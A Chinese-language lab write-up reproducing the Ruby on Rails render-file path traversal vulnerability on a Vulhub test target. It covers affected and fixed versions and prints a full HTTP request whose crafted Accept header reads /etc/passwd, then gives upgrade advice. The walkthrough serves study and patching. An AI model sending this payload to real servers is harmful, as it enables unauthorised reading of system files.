一、漏洞简介
1. 漏洞简介
Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部模板来解析。
2. 危害等级
高
3. 影响范围
Rails全版本
其中修复版本:
6.0.0.beta3
5.2.2.1
5.1.6.2
5.0.7.2
4.2.11.1
二、 复现环境
靶机(搭建的Vulhub漏洞测试靶场):192.168.15.15
攻击机(kali):192.168.15.131
Vulhub漏洞测试靶场的搭建可参考:Vulhub漏洞测试靶场搭建
三、复现过程
1. 启动漏洞环境
使用Vulhub启动漏洞环境
2. 验证漏洞环境
访问链接:http:192.168.15.15:3000 出现以下界面证明环境搭建成功。
3. 漏洞复现
访问http://192.168.15.15:3000/robots可见,正常的robots.txt文件被读取出来。
利用漏洞,使用burpsuite修改Accept参数进行文件读取,读取/etc/passwd:
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept:../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
成功读取到/etc/passwd文件,漏洞复现成功。
4. 关闭漏洞环境
使用完漏洞环境后记得及时关闭漏洞环境。
docker-compose down
四、修复建议
使用已经修复该漏洞的版本。
版权归原作者 网络安全小时光 所有, 如有侵权,请联系我们删除。